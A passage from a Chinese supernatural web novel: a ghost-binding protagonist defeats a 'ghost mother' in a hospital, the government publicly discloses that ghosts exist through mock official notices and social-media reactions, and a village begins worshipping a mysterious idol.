“李亮, 你跟我一起对付鬼母。”他冷静的下达命令,“李奶奶、田燕婉、李小虎,你们牵制鬼婴。”
宴泠昭并非超人,他只是比普通人拥有更强的体魄和敏捷性。而这得益于他经历过特训, 但对于面前强大的鬼母来说, 这点优势显然远远不够。
是以, 他的真正底牌,是收服的鬼怪们。
宴泠昭微微吸了口气, 脚尖用力一踮, 骤然爆发出惊人的速度, 直向鬼母冲去。
黑棍在他手中化为一道模糊的黑影, 精准的击向鬼母的腹部——宴泠昭并不知道鬼母的弱点,但他有眼睛,能分析:眼下,鬼婴和鬼母连在一起,得分散他们逐个击破才行。
从宴泠昭出现后就变得沉默安静的鬼母反应极快,立即张开一道无形的能量屏障,挡住了宴泠昭的攻击。
“为什么阻止我?”鬼母面无表情的看着宴泠昭,阴冷的语气中掺杂了一缕不易察觉的失望。
说完,她抬手一挥,一股强大的冲击波朝宴泠昭袭来。
宴泠昭虽然看不见,但能感知到,他堪堪侧身避开,但仍被余波击中,整个人倒飞出去,撞在墙上才停下。
闷哼一声,宴泠昭忍着疼痛立即爬起身来。
同一时间,手机鬼发动了能力。只见他的双眼变成纯黑色,口中语速极快的念诵着一连串含糊不清的低语。然后,一团黑色的雾气从他体内涌出,如蛇般缠绕向鬼母。
至于手机鬼具体在念叨什么
“让你的网络断线,让你的信号全无,让你的系统崩溃,让你的数据消失诅咒你吃方便面永远没有调!料!包!”最后三个字李亮说的无比大声,咬字十分清晰,于是在场所有人都听到了“调料包”三个字。
不明所以的侦查组成员:和调料包有什么关系?不对,应该是听错了。
李小虎:“叽里咕噜说啥呢,你想吃泡面了?”
田燕婉&李奶奶:“”
鬼母:“?”
鬼婴,啊不,应该说鬼孩:“神经。”
宴泠昭:= =
“战争”短暂的停了一瞬,接着继续进行。
手机鬼的诅咒对鬼母造成了一定影响——鬼母的动作似乎变得迟缓了几分。不过很快,她就挣脱了这束缚,反手一道能量束直奔李亮而去。
手机鬼侧身避开,但头发丝还是蹭到了那么一点点。摸了摸头发缺失的部位,手机鬼迅速躲到宴泠昭身后。
不行,鬼母比他强太多了,导致他的诅咒效果大大降低,最多只能起到暂时干扰的作用。而鬼母碰到他,他一个不小心没躲开就死翘翘了。
差距太大,小命要紧。
宴泠昭回头一言难尽的看了眼手机鬼。
手机鬼悻悻笑了笑,“那啥,对面太厉害了,咱们不能做无谓的牺牲。”
鬼母看看躲在宴泠昭身后的手机鬼,又看看表情冷漠的宴泠昭,唇缝溢出一丝讽笑。
下一秒,数十只鬼婴从地面流淌的黑色液体中诞生,向幸存者们扑去。
李奶奶的能力很特殊——能将敌人视为自己的孙辈,从而使对方在潜意识中接受这种“长辈”关系,变得更小、更弱。
“乖孩子们,来奶奶这里。”她慈祥的说道,张开双手仿佛准备拥抱,“都到奶奶这里来”
几只鬼婴的动作确实迟疑了,甚至有两三个改变方向,朝她爬去。
然而,李奶奶很快意识到一个问题——这些鬼婴本就是“孩子”形态,且是最小的那种状态,她的能力无法让它们变得更小或更弱。
不过,这种“亲属关系”的效果还是让一部分鬼婴对她产生了本能的亲近感,减轻了攻击性。但这种影响非常有限,因为鬼母的控制远比这种模糊的“亲情”强大得多。
“杀了她。”
随着鬼母话音落下,那些原本被影响的鬼婴又恢复了凶狠本性,继续向前扑来。
田燕婉见状,手中凝聚出一把闪着寒光的菜刀。接着,她身上分裂出一个畏畏缩缩的中年男子——正是死后和她融为一体的丈夫于高俊。
于高俊看起来极不情愿,但在妻子凶狠的眼神下,他不得不冲向最前方,硬生生挡住了几只鬼婴的冲击。
鬼婴的利爪和獠牙撕扯着他的灵体,引起于高俊一阵阵痛苦的嚎叫。
田燕婉挥动菜刀,一刀两断一只试图从侧面突破的鬼婴。
李小虎也展现出了他身为水鬼的能力。只见他双手舞动,空气中的水分子迅速聚集,形成一个个水球和水刃。
“水遁·水龙弹之术!”他大喊着从某部动漫中学来的招式名称。
不得不说名字是夸张了些,但效果也着实惊人——空气中的水分在他的控制下急剧降温,形成冰刃飞向那些鬼婴。几只鬼婴被冰刃刺中,动作明显受阻。更重要的是,李小虎还在不断提高房间内的湿度,使鬼婴们的行动越来越迟缓。
“鬼婴的能量主要来自怨气和恐惧,是鬼母在不断供给!”他一边释放技能一边大声对宴泠昭说道。
果然要先解决掉鬼母。
宴泠昭再次冲向鬼母,这次他改变了策略,不再正面进攻,而是利用速度优势绕到鬼母侧面,同时观察着她与鬼孩之间的脐带连接。
“那条脐带是关键。”他转头对手机鬼说道,“我牵制住鬼母,你找机会切断它。”
手机鬼想说他不行,但箭在弦上不得不发——宴泠昭已经冲上去和鬼母交上手了。
这种时候他要敢掉链子用脚指头想也知道绝没好果子吃。他集中精神,再次释放诅咒,这次他聪明的转变了目标,不再直接攻击强大的鬼母,而是针对那条维系鬼母与鬼孩关联的脐带。
“链接断开,连接失败,数据包丢失,信号中断”
鬼母的动作停了一瞬。
宴泠昭抓住机会,黑棍在手中旋转调整角度,然后猛地向下一挥,准确的击向脐带连接处。
鬼母发出一声震天动地的尖叫,整个房间都在颤抖。她挥手制造出数道能量屏障,但宴泠昭的动作太快,加上李亮的诅咒干扰,一击得手!
一次未断,宴泠昭抓紧时机又来了一下。
黑棍再次重重击在脐带上,虽然还是未能完全切断,但已经造成了明显的伤害。鬼孩发出痛苦的嚎叫,鬼母的表情也扭曲起来。
“你竟然敢!”她的声音变得尖锐可怖,整个房间的温度骤然下降,墙壁开始龟裂。
一股远超之前的能量波从鬼母体内爆发,将宴泠昭和所有鬼魂都击退数米。房间内的器具全部粉碎,玻璃窗爆裂,连坚固的地板都出现了裂纹。
宴泠昭重重摔在地上,口中溢出鲜血。他勉强支撑着站起来,看到自己的鬼魂“伙伴们”也都受到了不同程度的伤害。
情况危急,如果继续硬拼下去,他们必然全军覆没。
就在这危急时刻,宴泠昭注意到一个奇怪的现象——当月光透过破碎的窗户照在他身上时,他感到一种奇异的力量在体内流动。
他抬头望向窗外,一轮满月正高悬天际,月光如银河倾泻而下。
虽然不明白这股突如其来的力量是什么情况,但宴泠昭深知当下并非追根究底的时候。
他沉住气,本能的将那股能量引导至双手,渗入握着黑棍的掌心。顿时,黑棍表面浮现出一层微微的银色光晕,如同月光的实体化。
宴泠昭看向鬼母,倏地整个人宛如一支离弦之箭,直取鬼母所在。速度之快,在场所有人都只能看到一道模糊的人影。
鬼孩察觉到危险,与数十只鬼婴挡在鬼母面前,试图阻挡宴泠昭的进攻路线。与此同时,他自己也浮至半空,伸出双臂释放出一道道黑色能量束。
“挡住他!”鬼母命令道。
然而,这些阻碍在此刻的宴泠昭面前是那样微不足道。他的身形灵活的在鬼婴群中穿梭,每一次挥棍都能精准击溃一个敌人;那射向他的能量束也仿佛受到某种排斥力,在接触到他周身的银色光晕时便自动偏离了轨道。
“不可能!”鬼孩的童音中充满了难以置信的愤怒,“你一个人类——”
话未说完,宴泠昭已经强闯到了最后一道防线前。
鬼孩不得不亲自迎敌,他那幼小的身体突然膨胀,从两三岁变成七八岁的样子,利爪直取宴泠昭的咽喉。
宴泠昭不闪不避,在千钧一发之际,他右手突然松开黑棍,左手接住,同时右肘精准的打中鬼孩的腹部——脐带连接处。
“呃啊!”鬼孩发出痛苦的嘶吼,身形在空中踉跄了一下。
这一刹那的破绽足够了。宴泠昭抓住时机,右手重新握上黑棍,使出浑身力量,直取鬼母面前。
鬼母脸上浮现出前所未有的惊愕表情,她显然没料到自己构建的层层防御竟会如此轻易被突破。那双原本充满恶意的眼睛此刻倒映着宴泠昭冰冷而决绝的面庞。
“为什么”她喃喃自语,声音中混合着困惑、恐惧与一丝奇异的释然。
黑棍上缠绕的银色光芒达到顶峰,在空气中划出一道夺目的弧线。没有任何犹豫,宴泠昭将全部力量注入这致命一击——
一声巨大的爆响,伴随着刺目的白光,整个房间仿佛被冻结在这一瞬间。
所有人都瞪大眼睛,想看清发生了什么。
待光芒消失,黑棍从宴泠昭的手中脱落,清脆地砸在地上,发出“叮当”一声脆响。
鬼母的表情凝固在一种难以言喻的复杂情绪中,仿佛痛苦与解脱并存。她的身体开始崩解,化作缕缕黑雾逐渐消散。
与她相连的鬼孩发出最后一声哀嚎,随后也化为虚无。
所有的鬼婴,无论是正在攻击还是徘徊的,也在这一时刻崩塌瓦解。
事情发展得如此突然,一时间竟没有任何人发出声音。
结束了。
宴泠昭感到一阵前所未有的疲惫从四肢百骸涌来,体内那股神秘的力量迅速消退。他的视野开始模糊,双腿再也支撑不住身体的重量。
他单膝跪倒在地,身体摇晃了几下,最终向一侧倒去。在意识完全消失的最后一刻,他似乎听到了李小虎惊慌的呼喊和急促的脚步声。
然后,一切归于黑暗
宴泠昭迷迷糊糊意识到自己在做梦。
为什么能确定是做梦?因为只有梦才会如此荒诞无序——
他漂浮在浩渺的宇宙中,四周是无尽的星海。
面前,悬浮着一个巨大的圆形物体。乍看之下,像是某种苍白的肉质球体,表面布满了细小的纹路和凸起,如同某种异常巨大的有机生命。
下一秒,不经任何过渡,宴泠昭发现自己已经站在了这个奇异球体的表面上。重力似乎完全不起作用,他能够自如地在这球体表面行走。
宴泠昭在原地等待了片刻,期望有什么指引或事件发生,但四周一片寂静,只有远处星辰的微光闪烁。
既然没有明确的方向,他便开始漫无目的地行走。
球体表面的质地柔软而有弹性,每一步都会引起轻微的凹陷,然后缓缓恢复原状,给人一种踏在活体上的诡异感受。
走了不知多久,他看到一个人影躺在地上一动不动。
宴泠昭走了过去。
随着距离的缩短,他看清了人影的样子。
那是一个身着纯白色长袍的人,如霜似雪的长发仿佛银河倾泻般铺散在身下,形成一种近乎神圣的光晕。睫毛也是白色的,面容轮廓完美到非人,让人难以分辨其性别。
莫名的,宴泠昭感到熟悉,却又想不起在哪里见过。这种既视感如此强烈,令他不由自主地蹲下身,想要更仔细的观察。
端详许久,记忆的闸门依然紧闭。正当宴泠昭准备放弃时,他注意到对方宽大的白袍袖口下似乎有什么东西在动。
放到现实里,以宴泠昭的谨慎绝不会贸然去触碰。但这是在梦里,宴泠昭完全没有小心这根弦。
是以他想都没想,直接伸手掀起了那片白色衣袖。
眼前的景象令他瞬间僵住——
那人身下,竟连着无数细长的、肉色的触手,它们如同生物的根系般深深扎入球体表面,同时又与这个人的背部紧密相连。
这恐怖骇人的一幕令宴泠昭警铃大作,他猛地松开手,迅速站起身想要后退。
然后一抬眼,撞进一双如同熔金般璀璨的眸子。
冰冷,漠然,带着无形的压迫感。犹如两轮微缩的太阳,直直的凝视着宴泠昭,眼神中既无敌意也无亲近。
宴泠昭因为动弹不得,包括无法移开视线、无法挪动身体而不得不顶着压力与其对视。
半晌,那人缓缓合上眼睑,洁白的睫毛再次覆盖住那双摄人心魄的金瞳。而随着眼神接触的中断,宴泠昭感到束缚自己的力量也随之消散,重新获得了对身体的控制权。
心脏狂跳,呼吸急促,宴泠昭后退了几步。
就在他转身准备逃离、脚步都已经踏出去的瞬间。
【醒来】一个声音突然在他脑海中响起。
紧接着,宴泠昭感到一阵强烈的失重感,仿佛被从高空抛下。世界在视野中迅速扭曲、旋转、崩解,那个肉质星球、沉睡的白发存在、浩瀚的星空,也都如同水墨画被雨水冲刷般,迅速模糊后消散。
黑暗吞噬了一切,随后——
宴泠昭猛地睁开双眼,急促的喘息声在安静的房间里格外清晰。
“他醒了!”
宴泠昭还没回过神来,一群人就冲进房间围了上来。
张教授是其中之一,也是最激动的。
“你有没有觉得身体哪里有变化?”
【作者有话说】
[撒花]
67 第 67 章
◎公开◎
“你有没有觉得身体哪里有变化?”张教授几乎是迫不及待的问道, 声音中透着难以掩饰的激动,双手不自觉地搓揉着。
宴泠昭刚从昏迷中清醒, 思绪尚未完全回归,脸上不由自主地流露出一丝迷茫。这微妙的表情变化立刻被敏锐的张教授捕捉到,随即调整了提问方式。
“或者说,你有没有觉得身体哪里不舒服?”他语速飞快的解释道,“嗯太舒服了也算,比如因为长期久坐导致腰间盘突出, 腰一直不舒服,但现在突然好了——这种也请告诉我!”
张教授的眼睛闪烁着狂热的学术光芒,手指神经质地敲击着床沿,等待着宴泠昭的回答。
不只是张教授, 房间里的每一位研究员,大约有七八位, 都聚精会神的盯着宴泠昭, 目光中满是期待与好奇。
宴泠昭环视着这些围在自己床边的陌生面孔, 张教授除外。心中充满疑惑。
他试图回忆之前发生的事
等等,他为什么会躺在床上?说起来,这明显也不是他的家——从房间的设备和装修风格来看,应该是在基地。
就在宴泠昭思绪混乱之际, 一个熟悉的声音打破了房间内的紧张气氛。
“好了好了, 宴泠昭才刚醒, 你就问这么多,总得给人家一个消化的时间。”朱德宏从门口走了进来, 语气中带着温和的责备。
研究人员们见到朱德宏, 立刻识趣的散开, 让出一条通道。不过, 他们并没有完全退出房间,而是站在稍远处,不死心的等待着宴泠昭的回答。
只有张教授因为颇深的资历和地位,依然守在床边。向朱德宏投去一个眼神。
朱德宏接收到这一信号,抽了抽嘴角,轻咳两声,对一脸茫然的宴泠昭问道:“还记得之前发生了什么吗?”
宴泠昭神色恍然,记忆如潮水般涌回。零碎的画面在脑海中逐渐拼凑成完整的场景:
被白雾笼罩的医院满地的尸体鬼母李小虎惊慌的呼喊
他记得自己是在和鬼母对抗。
鬼母本体强不强不知道,但她能够召唤无数鬼婴,打“人海战”。
——他让众鬼负责拦截不断涌来的鬼婴,自己则与鬼母作战。
然后呢?
宴泠昭努力回忆。
突然,一阵尖锐的疼痛感刺穿太阳穴。宴泠昭晃了晃头。
更多细节在他脑海中逐渐清晰:他被鬼母击飞,撞在墙上,几乎丧失战斗能力战事进入最危急的时刻。
这时,月光透过破碎的窗户照射进来,落在他身上。
他清晰的记得那种感觉——仿佛有一股沉睡已久的力量在体内被唤醒,如同潮汐般流动,充满了每一个细胞。他本能的将这股力量引导至手上和武器上
之后发生的事情就记不清了,只记得鬼母化为虚无,而他也因力竭而昏迷。
宴泠昭涣散的目光重新恢复聚焦。他看向面露担忧的朱德宏,轻轻点了点头:“记得。鬼母应该死了,其他人还好吗?”
闻言,朱德宏的表情变得凝重,眼中浮现出难以掩饰的悲伤:“死了大半。”
医院本就是患者的“集中地”,事发时间又是在深夜,大多数病人没有家属陪护,行动不便的患者根本无法逃离;医院的工作人员虽然身体健全,但面对诡异,也几乎没有抵抗能力。
可想而知,会死多少人。
军方人员同样伤亡惨重——有的受伤严重,今后可能无法继续工作;有的至今仍在重症监护室昏迷不醒;更多的则永远离开了这个世界。
听到朱德宏的回答,宴泠昭陷入沉默。他虽早已预料到情况不容乐观,毕竟在进入医院的那刻,一楼大厅的惨状就已经预示了灾难的规模。一路向上,尸体多得更是下脚的地方都没有。
“还瞒得住吗?”片刻后,宴泠昭低声问道。
朱德宏摇了摇头:“这就不是我能参与的决策了。”
一旁的张教授早已按捺不住,见话题转向,立刻急不可耐的插话道:“小宴啊,你身体怎么样?”
想起了之前发生的事,宴泠昭自然明白张教授的意思。他闭上眼睛,仔细感受着体内的状况,然后睁开眼,说道:“一切正常当时情急之下,我也不知道为什么身体里面就多了一股力量,如果我没感觉错的话,是月亮照在我身上带来的变化”
“月亮月亮”张教授喃喃自语,眼中闪烁着复杂的光芒。
他沉思片刻,突然转向朱德宏,眼神中明显带着“有话要说”的暗示。
朱德宏心领神会,对宴泠昭说道:“那你先休息吧,房间里电脑、手机、平板都有,你想用什么直接用,饿了的话就喊人。这几天辛苦你先待在这里,我们想弄明白你体内的那股力量,如果我们也能使用,那对付诡异会好很多。”
朱德宏说得诚恳,宴泠昭也能理解,点了下头:“嗯。”
众人随即离开房间,只留宴泠昭一人休息。
张教授拉着朱德宏来到走廊的一处僻静角落,确认四下无人,压低声音激动的说道:“莫非是月亮上的那位?”
张教授作为少数知情人士之一,当宴泠昭提到月亮时,他立即便联想到了月神,以及月神和宴泠昭之间那未知的联系。
朱德宏谨慎的环顾四周,同样压低声音说道:“不确定,但多半是。”
张教授眼中浮现一道异样的光芒,他犹豫了一下,还是提出了一个大胆的想法:“你说有没有可能让月亮上那位也眷顾一下我们?”
朱德宏闻言脸色骤变,迅速打断道:“你疯了?”他语速极快的低声警告,“纵使诡异想给我们力量,我们也不该接受,谁知道代价是什么。从我们的老祖宗辈开始,信奉的就是人类应该依靠自己的力量,不该寻求外部援助。再说句糙话:爹有娘有不如自己有。”
说到这,朱德宏顿了顿,语气愈发严肃:“免费的通常是最贵的。张教授,这个道理你应该比我更清楚。”
张教授听罢,如梦初醒般长长的叹了口气。他其实也只是一时冲动,并非真的想要那么做。
“我知道,我只是唉。”他的声音中充满了挫败感。
朱德宏紧盯着张教授的眼睛,确认他只是一时心急,这才松了口气。随后,转移话题道:“这事儿咱们就别想了。对了,你上次提出的新技术方案,我们可以详细讨论一下”
***
【围脖平台
用户:猫不吃鱼
发布时间:今天 09:17
有人知道B市xx医院发生了什么吗?
[附图:军队警戒线封锁现场]
评论区:
城市探索者:我也看到了,整个医院周边全是军车和警察,连靠近都不让,太奇怪了
暖阳小筑:我家就住在医院斜对面的小区,绝对是半夜封的。因为昨晚快凌晨两点的时候我还在阳台抽烟,一切正常。今早起来上班就变这样了
夏日冰棍儿:啥情况啊?有没有知情人士爆料一下?我朋友的亲戚就在那医院住院,现在联系不上了
医学生小王:听说是发生了严重的传染病事件,但我在其他医院实习的同学说没收到任何相关通知
真相只有一个:看规模不像是普通事件啊,军队都出动了,平时医院再出事也就是警察来处理
理性思考者:大家别瞎猜了,可能是军方在做某种演习,或者有重要领导在医院
吃瓜不积极:我早上开车路过,周围交通全部改道,至少三个街区都受影响,感觉很严重的样子
日落西山:我岳母昨天刚办的手续在xx医院住院,现在电话打不通,家属群里都慌成一片了
新闻从业者:我们台记者去采访了,但被挡在外面,官方只说是“特殊情况,暂时封闭”。
真理的火花:有没有住在医院附近的朋友听到什么异常声音?昨晚有爆炸声或者其他动静吗?
D城老司机:路过拍了几张,军方人员看到我拍照直接过来要求删除,态度很坚决严肃
睡个懒觉再上班:别造谣传谣,等官方通报吧
记性不好:我之前发的类似内容很快就被删了,估计这儿马上也要没了
【此内容因违规已删除】
***
国家最高决策层关于是否公开鬼怪存在的讨论已经持续了整整五个小时。
原本明亮的会议室灯光被调暗了些许,每个人脸上都挂着疲惫和沉重。桌面上散落着各种报告文件,咖啡杯和矿泉水瓶无序的分布在各处。
安全部门负责人揉了揉太阳穴,抬头看向沉默不语的那位,“事态发展不等人,时间不多了,我们必须尽快做出抉择。”
这场危机出现得太过突然。虽然类似事件国家已经处理过无数次,但从未有一次像这样涉及如此多的民众。
而B市作为国家首都,人口密度高、信息流通快,事态的发展远超以往任何案例的速度。
“网络监控显示相关讨论已经超过五万条,尽管删帖速度已经提到最快,但仍然跟不上发布速度。”信息部门的代表展示着最新的数据,“更严重的是,目前有大约两百个家庭在寻找他们在医院的亲人。”
“媒体那边怎么说?”有人问道
“目前对外统一口径是医院设施故障导致的临时封闭,但这个说法很难持久,尤其是在如此规模的伤亡面前。”
与会者们互相交换了一个心照不宣的眼神——这个临时解释几乎没有人会相信。毕竟是数百人在一夜之间消失,没有任何官方解释能够平息家属的情绪和公众的疑虑。
“我国有坚实的九年义务教育基础,公民素质普遍较高,大多数人都是理性且信任政府的。”另一人说道,“但我们也必须承认,在十四亿人口中,总会有一部分人更容易受到煽动和谣言影响。再加上境外敌对势力的干预,情况会变得更加复杂。”
“设想一下最坏的情况。”国安部的代表开口道,“如果我们继续隐瞒,而真相通过其他渠道泄露,后果将比我们主动公布更加严重。民众会质疑为何政府对如此重大的真相保持沉默,这将严重损害国家信誉。”
此言一出,房间陷入了短暂的沉默。
“但公布意味着打开潘多拉魔盒。”另一位代表反驳道,“一旦确认灵异现象的存在,社会秩序可能面临前所未有的冲击。”
时间一分一秒地流逝,争论仍在继续。
最终,主持会议的高官环视一周,决定采取表决方式。
“我们必须在两小时内做出决定。请各位按照自己的判断,基于国家和人民的最高利益,进行投票。”
经过一轮严肃的投票,结果出炉——公布比不公布多出一票
那位沉吟片刻,最终做出裁决:“先对内部相关部门公布,然后让网信办、工信部、中.宣部那边准备公开方案。各种可能的预案都要考虑到,最终发布的内容必须经我亲自审阅,我会根据当时情况决定是否采用这一版本。”
2060年10月15日
【央视新闻】官方围脖发布
时间:9:00
《关于B市xx医院特殊事件的官方通报》
各位同胞:
经国.务院批准,现就近期发生在B市xx医院的特殊事件向全国公民进行公开通报。
我国一直秉持实事求是的原则,坚持以科学态度面对一切现象经过慎重研究,国家现决定向全体公民公布一个长期以来由国家特殊部门严格保密的事实:在我们所生活的世界中,确实存在着超出当前科学认知范围的异常现象,民间通常称之为“灵异现象”。
我国政府于80年前便已察觉并确认了灵异存在的客观事实,并专门成立了特殊事务管理部门进行研究和应对
灵异现象主要包括但不限于:某些特定条件下形成的非常规能量实体(民间称“鬼”)、特殊空间异常(俗称“鬼域、鬼打墙”)以及其他超出现有科学解释范畴的现象
关于B市第xx医院事件概况:
10月10日凌晨,B市xx医院发生了一起严重的灵异实体入侵事件,造成医院内约158人遇难,76人受伤,是建国以来最严重的灵异事件之一。
事件发生后,特殊部门立即启动应急预案,联合军方迅速封锁现场,并成功消灭了造成危害的灵异实体,阻止了进一步伤害
国家已为所有遇难者家属提供全面支持,包括心理疏导、经济补偿等多方面援助。所有受伤人员正在接受最优质的医疗救治。
特殊部门将全面升级全国灵异监测网络,增强预警能力和应对速度,确保类似事件得到更迅速有效的处置。
国家将逐步向公众开放部分灵异知识教育,帮助公民正确认识灵异现象,减少不必要的恐慌和迷信。我们强调,科学的态度是面对这一现象的唯一正确方式。
新成立“公民灵异防护知识普及中心”,向民众传授基本的防护知识和应急措施
如碰到灵异事件,请保持冷静理性。灵异现象虽然存在,但绝大多数情况下不会对日常生活造成影响,普通民众遭遇危险灵异事件的概率极低。
务必不信谣、不传谣。网络上关于灵异现象的大量信息缺乏科学依据,请以官方渠道发布的信息为准。
发现可疑现象,请拨打特殊事件热线:******-***,专业人员将24小时为您提供帮助
我们理解这一通报会对社会认知体系带来冲击,但国家坚信,面对任何挑战,真相和团结永远是最强大的武器。华夏民族历经千年沧桑,曾经面对过无数挑战,我们有充分的智慧和勇气接受这一现实,并在科学指导下从容应对。
让我们携手前行,共同面对这个更加广阔而复杂的世界。
***
【央视网】专题报道
《走近灵异现象:科学的视角》
今晚8点,国家重大通报发布后,央视将推出特别节目,邀请特委会专家、科学院院士和心理学专家共同解读灵异现象的科学本质,回应公众关切,消除不必要恐慌。
***
【教育部官网】紧急通知
关于在全国中小学开展《认识灵异,科学防护》专题教育的通知:
为帮助青少年以科学、理性态度认识灵异现象,防止恐慌和迷信思想蔓延,教育部决定自下周起在全国中小学开展为期两周的专题教育。相关教材将于明日发放至各学校,请各地教育部门高度重视,认真组织实施。
***
【政府】慰问公告
B市政府将于明日上午在人民大会堂举行医院事件遇难者集体悼念仪式。同时宣布,将在原医院址建立纪念园区,永远铭记这次事件对我国科学发展与国家安全的重要意义。
68 第 68 章
◎神像◎
【围脖热搜】
话题:#官方承认灵异现象存在#
阅读量:88.9亿讨论量:3741万
【评论区:
大城小城:
卧槽, 真的假的!这不是在演科幻片吧?(震惊.jpg)
你吃我不吃:
都说了是官方通告了,还能有假的?央视都播了专题报道, 各大部委都发了配套措施。这种事国家能开玩笑?
梦想成为咸鱼:
我就说这个世界是玄幻的!以前还在想你们会不会骗我,不要等到到时候灵气复苏了,有人脚踩飞剑,有人异能觉醒留我一个普通人干瞪眼。结果——你们真搞啊!(黄豆脸摇手.jpg)
普通社畜一枚:
别瞎说,我也是普通人,所以有没有非凡者出来说两句?求求了, 给我们这些平凡人一点希望吧!
我恨早八:
这个世界终于是癫了,我信了十几年科学,结果一夜之间你告诉我有鬼,哈哈(憨笑.jpg)
夜不敢归:
不是, 你们这么兴奋的吗?有鬼呀!鬼!你们难道就不怕吗?我已经两晚没敢关灯睡觉了好吗!(瑟瑟发抖.jpg)
给你一榔头:
咱妈不是说了绝大多数情况下不会对日常生活造成影响嘛,而且遇到的概率也特别低, 慌啥。
夜不敢归:
概率低那也是存在的呀!万一那个倒霉的就是我呢?
生活不易猫猫叹气:
那照你这么说, 喝水也有噎死的, 好好的也有心梗突发的你把这玩意儿看成同样的意外不就行了,有什么好怕的,反正人活着就是为了死。(耸肩.jpg)
劝人学医天打雷劈:
话糙理不糙,但是这也太糙了——建议恐惧症患者关注一下官方刚开设的心理辅导热线, 确实挺有帮助的。
一只小透明:
救命sos, 像我这种怕鬼的怎么办?我已经把家里所有镜子都蒙起来了(哭泣.jpg)
黑夜里的声音:
早点死早点超生咯~说不定你死后还能当个小鬼呢!(笑哭.jpg)
一只小透明:
够了, 我说够了,乐子人太多了!这事儿真的很严肃好吗!
修仙爱好者:
比起鬼, 我更想知道有没有修仙者, 当然, 这个修仙者是一个广泛的范围, 或者说超凡者?
网文写手不加班:
有鬼的话,我想想以我30年浏览小说的经验,应该是驭鬼者、融合者之类的?前者顾名思义可以驾驭鬼,后者则是与鬼融合。这不就是我写了十年的题材吗?(狗头.jpg)
就要嬷嬷你:
典!男频这个设定的小说10本有9本半都是这样。不过官方通报好像故意避开了这类信息,是不是说明确实有这样的人存在?
志向远大的青鸟:
求成为超凡者教程!有没有大佬带带我?我愿意付学费!(跪求.jpg)
看透一切的人:
咱普通人就别想了,国家说80年前就出现了,时至今日,是出事儿了,瞒不住了才公开,能有我们什么好事。
你干甚去了:
前面的别太恨,国家不公开也是有道理的,毕竟首先灵异事件出现的次数不高,其次我国人口太大,总有那么一些不正常的人,最后为了整个社会的稳定,不说才是对的。
自由主义者:
呵呵,我国还说着什么知情权呢,放在外国就不会这样,早就公开了。
热爱生活的人:
国外滋油皿煮的空气格外香甜是吧?那你去啊,谁逼着你在国内了?分享一个热知识:Loser在哪儿都是 Loser。(鄙视.jpg)
网络上的讨论如同山洪爆发,一发不可收拾。
而与以往不同的是,这次官方并未删除相关讨论,只是对极少数煽动性、恐慌性或不实内容进行了限制。
现实里。街头巷尾、公交车上、办公室里,人们谈论的话题也都几乎围绕着这一官方通告进行。
***
今天,是宴泠昭在基地待的第七天,也是官方公布灵异存在后的第二天。关于他体内那股神秘力量的研究仍在继续,但至今没有确切结论,而他自己也再未感受到那股力量的存在。
这天,在接受例行的每日一检时,宴泠昭突然想起一件事。
“张教授,鬼母的调查报告能给我看一下吗?”他问道。
张教授抬头,放下手中的检测仪器,露出疑惑的表情。
见状,宴泠昭补充道:“那天我没太注意,但这几天通过不断回忆,我发现鬼母有些眼熟,好像在哪里见过她。”
“这个不在我的职责范围内。”张教授摇摇头,“你得找朱德宏。这属于案件调查资料,我无权调阅。”
检查结束后,宴泠昭拿出手机,拨通了朱德宏的电话。简单说明了自己的请求,朱德宏回道:
“可以,我马上把资料发给你。”
挂断电话后不出半分钟,一份加密文件就发送到了宴泠昭的手机上。宴泠昭点开文件:
【基本资料】
姓名:林怀思
性别:女
年龄:26岁
死因:羊水栓塞并发弥散性血管内凝血,产后并发症死亡
家庭状况:
【附照片:一个年轻女性微笑着,笑容中带着几分青涩和腼腆】
当翻看到最后的照片,宴泠昭终于知道自己为何会觉得眼熟了——这不就是他之前在小区里遇到的那个奇怪女人吗?
结合资料上记载的鬼母首次出现的时间与他遭遇的日期,可以确定,当时他遇到的女人已经是鬼母了。
正当宴泠昭陷入沉思时,一个声音从身后传来。
“咦?”保安王大爷飘过来,目光落在屏幕上的照片上。
——按照张教授的请求,宴泠昭将众鬼都释放出来进行各种测试。王大爷刚完成了一轮能量波动测试,正在周围闲逛溜达。
“怎么了?”宴泠昭转头问道。
王大爷眯起眼睛,仔细端详着照片,表情变得肯定:“她好像是咱们小区的业主啊,这个长相,这个名字都对上了,确实是她。”
得知鬼母生前也住在自己所在的小区,宴泠昭一时有些心绪复杂。
目前,他已知鬼怪有两种形成方式:一种是生前遭受不公,怨气极重。另一种则是毫无征兆的转变为鬼,生前并无特别的怨气。
王大爷、李小虎等就属于后一类——他们死前没有特别的怨恨,却依然变成了鬼。而林怀思的经历则明显属于前一类,她的遭遇充满了悲剧色彩。
鬼怪究竟是如何形成的?这个问题在宴泠昭心中挥之不去。他曾向张教授询问,得到的回答是国家研究了数十年至今仍未得出答案。
等张教授心满意足的完成所有数据收集,宴泠昭准备将众鬼收回体内时,张教授突然问道:“你能控制他们吗?”
这个问题张教授先前已经问过,宴泠昭不解他为何要重复问,但还是回答道:“可以。”
张教授犹豫了一下,说:“如果他们不捣乱不乱跑,你可以把他们放出来。我们的初步研究表明,这些鬼魂在你体内和外部时的能量波动有所不同,让他们偶尔透透气可能对研究有帮助。”
闷闷不乐的李小虎听到这个消息,立刻欢呼起来:“好耶!我保证不乱跑!”
手机鬼也眼前一亮:“那我可以打游戏吗?”
宴泠昭:“”
***
2060年10月18日
上午九点。Y市某山区,汪家村。
汪家村坐落在群山环抱之中,距离最近的城镇也有三十公里。这个只有四十几户人家的小村庄近两个月来发生了微妙的变化——村里每家每户都在堂屋正中摆放了一个相同的木雕神像:
一个头戴高冠、面目狰狞的人物形象。
而这一切,始于约莫三个月前,村民汪文全的归来。
汪文全今年40岁,早年离开村子到沿海地区打工,几十年来难得回家一次。
两个月前,他突然衣锦还乡,不仅带回了不少钱财,还出资为村里修建了一条水泥路,解决了村民们多年来运输农产品的难题。
“文全真是有出息了,不忘家乡啊!”老支书汪德明感叹道,村民们纷纷附和。
在众人的敬佩声中,汪文全拿出了一个木雕神像。
“这是我在外面偶然遇到的一位高人赐予的神像,名叫“蚀日真君”。”汪文全郑重其事的说道,“我就是拜了这位真君,生意才逐渐兴隆起来。如果乡亲们也愿意,可以同样得到真君的庇佑。”
村民们对此反应不一。有人半信半疑,有人觉得这是迷信,还有人完全不在意。但面对汪文全的热情和他为村里做出的贡献,大家都不好直接拒绝。于是,许多人按照汪文全提供的模型,开始雕刻相似的神像放在家中,每日上香祭拜。
奇迹般的,仅仅一周后,村里开始有了明显变化。
